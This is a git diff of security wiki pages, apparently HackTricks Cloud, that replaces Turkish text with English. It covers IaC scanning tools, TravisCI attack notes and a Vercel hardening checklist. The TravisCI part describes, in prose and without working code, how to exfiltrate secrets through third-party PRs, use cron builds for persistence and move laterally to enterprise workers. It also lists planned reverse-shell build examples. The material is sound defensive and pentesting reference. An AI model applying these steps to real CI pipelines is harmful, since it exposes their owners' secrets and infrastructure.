It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` terraform'a karşı hafif, güvenlik ve uyumluluk odaklı bir test framework'üdür; Infrastructure-as-Code (IaC) için negatif test yeteneği sağlar.
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
|
||||
- **uyumluluk:** Uygulanan kodun güvenlik standartlarına ve kendi özel standartlarınıza uygun olduğunu doğrulayın.
|
||||
- **davranış odaklı geliştirme:** Neredeyse her şey için BDD var, peki IaC için neden olmasın?
|
||||
- **taşınabilir:** Sadece `pip` ile yükleyin veya `docker` ile çalıştırın. Bkz. [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **dağıtımdan önce:** Kodunuzu dağıtılmadan önce doğrular.
|
||||
- **entegrasyonu kolay:** Pipeline'ınızda (veya git hook'larında) çalıştırılabilir, böylece tüm dağıtımlar doğrulanır.
|
||||
- **görev ayrımı:** Testlerinizi ayrı bir depoda tutabilirsiniz; sorumluluk ayrı bir ekibe ait olabilir.
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
|
||||
> [!NOTE]
|
||||
> Ne yazık ki kod bazı provider'ları kullanıyorsa ve bunlara erişiminiz yoksa `terraform plan` yapamaz ve bu aracı çalıştıramazsınız.
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
Kaynak: [**docs**](https://github.com/aquasecurity/tfsec): tfsec, terraform kodunuzun statik analizini kullanarak potansiyel yanlış yapılandırmaları tespit eder.
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
|
||||
- ☁️ Tüm büyük (ve bazı küçük) bulut sağlayıcıları genelinde yanlış yapılandırmaları kontrol eder
|
||||
- ⛔ Yüzlerce yerleşik kural
|
||||
- 🪆 Modülleri tarar (yerel ve uzak)
|
||||
- ➕ HCL ifadelerini ve literal değerleri değerlendirir
|
||||
- ↪️ Terraform fonksiyonlarını değerlendirir (ör. concat())
|
||||
- 🔗 Terraform kaynakları arasındaki ilişkileri değerlendirir
|
||||
- 🧰 Terraform CDK ile uyumlu
|
||||
- 🙅 Kullanıcı tanımlı Rego politikalarını uygular (ve zenginleştirir)
|
||||
- 📃 Birden çok çıktı formatını destekler: lovely (varsayılan), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Yapılandırılabilir (CLI bayrakları ve/veya yapılandırma dosyası aracılığıyla)
|
||||
- ⚡ Çok hızlı, büyük depoları hızlıca tarayabilir
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan, Infrastructure as Code için statik bir kod analizörüdür. Terrascan şunları yapmanıza olanak tanır:
|
||||
|
||||
- Kod olarak altyapıyı yanlış yapılandırmalar için sorunsuzca tarar.
|
||||
- Sağlanan bulut altyapısını, güvenlik duruşu sapmasına yol açan yapılandırma değişiklikleri açısından izler ve güvenli duruşa geri dönmeyi sağlar.
|
||||
- Güvenlik açıklarını ve uyumluluk ihlallerini tespit eder.
|
||||
- Bulut-native altyapı sağlanmadan önce riskleri azaltır.
|
||||
- Yerel olarak çalıştırma veya CI\CD ile entegre etme esnekliği sunar.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Checkmarx tarafından geliştirilen **KICS** ile infrastructure-as-code uygulamalarınızın geliştirme döngüsünde güvenlik açıklarını, uyumluluk sorunlarını ve altyapı yanlış yapılandırmalarını erken tespit edin.
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
|
||||
**KICS**, **K**eeping **I**nfrastructure as **C**ode **S**ecure'ın kısaltmasıdır; açık kaynaklıdır ve herhangi bir cloud native proje için olmazsa olmazdır.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Kaynak: [**docs**](https://github.com/tenable/terrascan): Terrascan, Infrastructure as Code için statik bir kod analiz aracıdır. Terrascan size şunları sağlar:
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
|
||||
- Infrastructure as Code içindeki yapılandırma hatalarını sorunsuzca tarama.
|
||||
- Sağlanan bulut altyapısını, yapılandırma değişikliklerinin neden olduğu posture drift için izleme ve güvenli bir duruma geri dönmeyi sağlama.
|
||||
- Güvenlik açıklarını ve uyumluluk ihlallerini tespit etme.
|
||||
- Cloud native altyapı sağlanmadan önce riskleri azaltma.
|
||||
- Yerelde çalıştırma veya CI\CD ile entegre etme esnekliği sunma.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
## Referanslar
|
||||
|
||||
## References
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötüye) kullanılacağına dair açıklamalarla hoş karşılanır.
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,6 +11,9 @@ Github PR'ları, bu platformların bir saldırgan perspektifinden nasıl (kötü
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Diğer herhangi bir CI/CD platformu...
|
||||
- Any other CI/CD platform...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,65 +1,68 @@
|
||||
# TravisCI Güvenliği
|
||||
# TravisCI Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## TravisCI Nedir
|
||||
## What is TravisCI
|
||||
|
||||
**Travis CI**, çeşitli **farklı git platformlarında** barındırılan yazılım projelerini oluşturmak ve test etmek için kullanılan **barındırılan** veya **yerel** bir **sürekli entegrasyon** hizmetidir.
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Saldırılar
|
||||
## Attacks
|
||||
|
||||
### Tetikleyiciler
|
||||
### Triggers
|
||||
|
||||
Bir saldırı başlatmak için önce bir yapıyı nasıl tetikleyeceğinizi bilmeniz gerekir. Varsayılan olarak, TravisCI **push'lar ve pull request'ler üzerinde bir yapıyı tetikler**:
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Görevleri
|
||||
#### Cron Jobs
|
||||
|
||||
Web uygulamasına erişiminiz varsa, **yapıyı çalıştırmak için cron'lar ayarlayabilirsiniz**, bu kalıcılık için veya bir yapıyı tetiklemek için faydalı olabilir:
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Görünüşe göre, [bu](https://github.com/travis-ci/travis-ci/issues/9162) doğrultusunda `.travis.yml` içinde cron ayarlamak mümkün değil.
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### Üçüncü Taraf PR
|
||||
### Third Party PR
|
||||
|
||||
TravisCI varsayılan olarak üçüncü taraflardan gelen PR'lerle env değişkenlerini paylaşmayı devre dışı bırakır, ancak biri bunu etkinleştirirse, o zaman repo'ya PR'lar oluşturabilir ve sırları dışarı sızdırabilirsiniz:
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
|
||||
.png>)
|
||||
|
||||
### Sırları Dökme
|
||||
### Dumping Secrets
|
||||
|
||||
[**Temel bilgiler**](basic-travisci-information.md) sayfasında açıklandığı gibi, 2 tür sır vardır. **Çevre Değişkenleri sırları** (web sayfasında listelenen) ve **özel şifrelenmiş sırlar**, bunlar `.travis.yml` dosyasında base64 olarak saklanır (her ikisi de şifrelenmiş olarak saklandığında son makinelerde env değişkenleri olarak sonlanır).
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
|
||||
- **Çevre Değişkenleri** olarak yapılandırılan **sırları listelemek** için **projenin** **ayarlarına** gidin ve listeyi kontrol edin. Ancak, burada ayarlanan tüm proje env değişkenlerinin bir yapı tetiklendiğinde görüneceğini unutmayın.
|
||||
- **Özel şifrelenmiş sırları** listelemek için yapabileceğiniz en iyi şey **`.travis.yml` dosyasını kontrol etmektir**.
|
||||
- **Şifrelenmiş dosyaları** listelemek için repo'da **`.enc` dosyalarını** kontrol edebilir, yapılandırma dosyasında `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` gibi satırlar arayabilir veya **Çevre Değişkenleri** içinde **şifrelenmiş iv ve anahtarlar** arayabilirsiniz:
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
|
||||
.png>)
|
||||
|
||||
### YAPILACAKLAR:
|
||||
### TODO:
|
||||
|
||||
- Windows/Mac/Linux üzerinde çalışan ters shell ile örnek yapı
|
||||
- Günlüklerde base64 kodlu env sızdıran örnek yapı
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
Bir saldırgan **TravisCI enterprise** kullanan bir ortamda sona ererse (bu konuda daha fazla bilgi için [**temel bilgiler**](basic-travisci-information.md#travisci-enterprise)), **Worker'da yapıları tetikleyebilir.** Bu, bir saldırganın o sunucuya yanlamasına geçebileceği anlamına gelir ve bu sunucudan:
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
|
||||
- ana makineye kaçabilir mi?
|
||||
- kubernetes'i tehlikeye atabilir mi?
|
||||
- aynı ağda çalışan diğer makineleri tehlikeye atabilir mi?
|
||||
- yeni bulut kimlik bilgilerini tehlikeye atabilir mi?
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,45 +1,48 @@
|
||||
# Temel TravisCI Bilgisi
|
||||
# Basic TravisCI Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Erişim
|
||||
## Access
|
||||
|
||||
TravisCI, Github, Bitbucket, Assembla ve Gitlab gibi farklı git platformlarıyla doğrudan entegre olur. Kullanıcıdan, TravisCI ile entegre etmek istediği reposuna erişim izni vermesi istenir.
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
|
||||
Örneğin, Github'da aşağıdaki izinler istenir:
|
||||
For example, in Github it will ask for the following permissions:
|
||||
|
||||
- `user:email` (salt okunur)
|
||||
- `read:org` (salt okunur)
|
||||
- `repo`: Kamu ve özel depolar ve organizasyonlar için kod, commit durumları, işbirlikçileri ve dağıtım durumlarına okuma ve yazma erişimi verir.
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
|
||||
## Şifreli Gizli Bilgiler
|
||||
## Encrypted Secrets
|
||||
|
||||
### Ortam Değişkenleri
|
||||
### Environment Variables
|
||||
|
||||
TravisCI'da, diğer CI platformlarında olduğu gibi, **repo düzeyinde gizli bilgileri kaydetmek** mümkündür; bu bilgiler şifreli olarak kaydedilir ve **şifrelenmiş olarak, build'i gerçekleştiren makinenin ortam değişkenine** itilir.
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
|
||||
.png>)
|
||||
|
||||
**Gizli bilgilerin hangi dallarda mevcut olacağını** belirtmek mümkündür (varsayılan olarak hepsi) ve ayrıca TravisCI'nın **değerini gizleyip gizlememesi gerektiği** (varsayılan olarak gizleyecektir) belirtilebilir.
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
|
||||
### Özel Şifreli Gizli Bilgiler
|
||||
### Custom Encrypted Secrets
|
||||
|
||||
**Her repo için** TravisCI bir **RSA anahtar çifti** oluşturur, **özel** olanı **saklar** ve reposuna **erişimi olanlara** depo için **açık anahtarı** sunar.
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
|
||||
Bir reposunun açık anahtarına erişmek için:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
Sonra, bu ayarı **gizli anahtarları şifrelemek ve bunları `.travis.yaml` dosyanıza eklemek için** kullanabilirsiniz. Gizli anahtarlar **derleme çalıştırıldığında çözülür** ve **çevresel değişkenlerde** erişilebilir hale gelir.
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
|
||||
.png>)
|
||||
|
||||
Bu şekilde şifrelenen gizli anahtarların ayarların çevresel değişkenlerinde listelenmeyeceğini unutmayın.
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
|
||||
### Özel Şifreli Dosyalar
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
|
||||
Önceki gibi, TravisCI ayrıca **dosyaları şifrelemeye ve ardından derleme sırasında çözmeye** de izin verir:
|
||||
```
|
||||
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
|
||||
|
||||
@@ -49,7 +52,7 @@ storing secure env variables for decryption
|
||||
|
||||
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
|
||||
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
|
||||
|
||||
Pro Tip: You can add it automatically by running with --add.
|
||||
|
||||
@@ -57,32 +60,36 @@ Make sure to add super_secret.txt.enc to the git repository.
|
||||
Make sure not to add super_secret.txt to the git repository.
|
||||
Commit all changes to your .travis.yml.
|
||||
```
|
||||
Not edin ki bir dosyayı şifrelerken, repoda 2 Env Değişkeni yapılandırılacaktır:
|
||||
|
||||
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
|
||||
|
||||
.png>)
|
||||
|
||||
## TravisCI Enterprise
|
||||
|
||||
Travis CI Enterprise, **Travis CI'nin yerel versiyonudur**, bunu **altyapınızda** dağıtabilirsiniz. Travis CI'nin 'sunucu' versiyonu olarak düşünün. Travis CI kullanmak, istediğiniz gibi yapılandırıp güvence altına alabileceğiniz bir ortamda kullanımı kolay bir Sürekli Entegrasyon/Sürekli Dağıtım (CI/CD) sistemini etkinleştirmenizi sağlar.
|
||||
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the ‘server’ version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
|
||||
|
||||
**Travis CI Enterprise iki ana bölümden oluşur:**
|
||||
**Travis CI Enterprise consists of two major parts:**
|
||||
|
||||
1. TCI **hizmetleri** (veya TCI Temel Hizmetleri), sürüm kontrol sistemleriyle entegrasyondan, derlemeleri yetkilendirmeden, derleme işlerini planlamaktan vb. sorumludur.
|
||||
2. TCI **Worker** ve derleme ortamı görüntüleri (aynı zamanda OS görüntüleri olarak da adlandırılır).
|
||||
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
|
||||
2. TCI **Worker** and build environment images (also called OS images).
|
||||
|
||||
**TCI Temel hizmetleri aşağıdakileri gerektirir:**
|
||||
**TCI Core services require the following:**
|
||||
|
||||
1. Bir **PostgreSQL11** (veya daha yeni) veritabanı.
|
||||
2. Bir Kubernetes kümesini dağıtmak için bir altyapı; gerekirse bir sunucu kümesinde veya tek bir makinede dağıtılabilir.
|
||||
3. Kurulumunuza bağlı olarak, bazı bileşenleri kendi başınıza dağıtmak ve yapılandırmak isteyebilirsiniz, örneğin, RabbitMQ - daha fazla ayrıntı için [Travis CI Enterprise'ı Kurma](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) sayfasına bakın.
|
||||
1. A **PostgreSQL11** (or later) database.
|
||||
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
|
||||
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
|
||||
|
||||
**TCI Worker aşağıdakileri gerektirir:**
|
||||
**TCI Worker requires the following:**
|
||||
|
||||
1. **Worker ve bağlantılı bir derleme görüntüsünü içeren bir docker görüntüsünün dağıtılabileceği** bir altyapı.
|
||||
2. Belirli Travis CI Temel Hizmetleri bileşenlerine bağlantı - daha fazla ayrıntı için [Worker'ı Kurma](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) sayfasına bakın.
|
||||
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
|
||||
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
|
||||
|
||||
Dağıtılan TCI Worker ve derleme ortamı OS görüntülerinin sayısı, altyapınızdaki Travis CI Enterprise dağıtımının toplam eşzamanlı kapasitesini belirleyecektir.
|
||||
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,436 +2,439 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
Vercel'de bir **Ekip**, bir müşteriye ait olan tam **ortam** ve bir **proje**, bir **uygulama**dır.
|
||||
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
|
||||
|
||||
**Vercel** için bir güvenlik incelemesi yapmak istiyorsanız, kontrol etmek için **Görüntüleyici rol izni** olan bir kullanıcı veya en azından **Projeye görüntüleyici izni** istemeniz gerekir (eğer sadece projeleri kontrol etmeniz gerekiyorsa ve Ekip yapılandırmasını kontrol etmenize gerek yoksa).
|
||||
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
|
||||
|
||||
## Proje Ayarları
|
||||
## Project Settings
|
||||
|
||||
### Genel
|
||||
### General
|
||||
|
||||
**Amaç:** Proje adı, çerçeve ve derleme yapılandırmaları gibi temel proje ayarlarını yönetmek.
|
||||
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Transfer**
|
||||
- **Yanlış Yapılandırma:** Projeyi başka bir ekibe aktarmaya izin verir.
|
||||
- **Risk:** Bir saldırgan projeyi çalabilir.
|
||||
- **Proje Sil**
|
||||
- **Yanlış Yapılandırma:** Projeyi silmeye izin verir.
|
||||
- **Risk:** Projeyi silmek.
|
||||
- **Misconfiguration:** Allows to transfer the project to another team
|
||||
- **Risk:** An attacker could steal the project
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the project
|
||||
- **Risk:** Delete the prject
|
||||
|
||||
---
|
||||
|
||||
### Alan Adları
|
||||
### Domains
|
||||
|
||||
**Amaç:** Özel alan adlarını, DNS ayarlarını ve SSL yapılandırmalarını yönetmek.
|
||||
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **DNS Yapılandırma Hataları**
|
||||
- **Yanlış Yapılandırma:** Kötü niyetli sunuculara işaret eden yanlış DNS kayıtları (A, CNAME).
|
||||
- **Risk:** Alan adı kaçırma, trafik kesintisi ve kimlik avı saldırıları.
|
||||
- **SSL/TLS Sertifika Yönetimi**
|
||||
- **Yanlış Yapılandırma:** Zayıf veya süresi dolmuş SSL/TLS sertifikalarının kullanılması.
|
||||
- **Risk:** Adam ortada (MITM) saldırılarına karşı savunmasızlık, veri bütünlüğü ve gizliliğin tehlikeye girmesi.
|
||||
- **DNSSEC Uygulaması**
|
||||
- **Yanlış Yapılandırma:** DNSSEC'i etkinleştirmemek veya yanlış DNSSEC ayarları.
|
||||
- **Risk:** DNS sahtekarlığı ve önbellek zehirlenmesi saldırılarına karşı artan hassasiyet.
|
||||
- **Her alan için kullanılan ortam**
|
||||
- **Yanlış Yapılandırma:** Üretimde alan tarafından kullanılan ortamı değiştirmek.
|
||||
- **Risk:** Üretimde mevcut olmaması gereken potansiyel sırların veya işlevlerin açığa çıkması.
|
||||
- **DNS Configuration Errors**
|
||||
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
|
||||
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
|
||||
- **SSL/TLS Certificate Management**
|
||||
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
|
||||
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
|
||||
- **DNSSEC Implementation**
|
||||
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
|
||||
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
|
||||
- **Environment used per domain**
|
||||
- **Misconfiguration:** Change the environment used by the domain in production.
|
||||
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
|
||||
|
||||
---
|
||||
|
||||
### Ortamlar
|
||||
### Environments
|
||||
|
||||
**Amaç:** Belirli ayarlar ve değişkenlerle farklı ortamları (Geliştirme, Önizleme, Üretim) tanımlamak.
|
||||
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Ortam İzolasyonu**
|
||||
- **Yanlış Yapılandırma:** Ortamlar arasında ortam değişkenlerini paylaşmak.
|
||||
- **Risk:** Üretim sırlarının geliştirme veya önizleme ortamlarına sızması, maruziyeti artırır.
|
||||
- **Hassas Ortamlara Erişim**
|
||||
- **Yanlış Yapılandırma:** Üretim ortamlarına geniş erişime izin vermek.
|
||||
- **Risk:** Yetkisiz değişiklikler veya canlı uygulamalara erişim, potansiyel kesintilere veya veri ihlallerine yol açabilir.
|
||||
- **Environment Isolation**
|
||||
- **Misconfiguration:** Sharing environment variables across environments.
|
||||
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
|
||||
- **Access to Sensitive Environments**
|
||||
- **Misconfiguration:** Allowing broad access to production environments.
|
||||
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
|
||||
|
||||
---
|
||||
|
||||
### Ortam Değişkenleri
|
||||
### Environment Variables
|
||||
|
||||
**Amaç:** Uygulama tarafından kullanılan ortam spesifik değişkenleri ve sırları yönetmek.
|
||||
**Purpose:** Manage environment-specific variables and secrets used by the application.
|
||||
|
||||
#### Güvenlik Yapılandırmaları:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Hassas Değişkenlerin Açığa Çıkması**
|
||||
- **Yanlış Yapılandırma:** Hassas değişkenleri `NEXT_PUBLIC_` ile öneklemek, bunları istemci tarafında erişilebilir hale getirir.
|
||||
- **Risk:** API anahtarlarının, veritabanı kimlik bilgilerinin veya diğer hassas verilerin kamuya açılması, veri ihlallerine yol açar.
|
||||
- **Hassas devre dışı**
|
||||
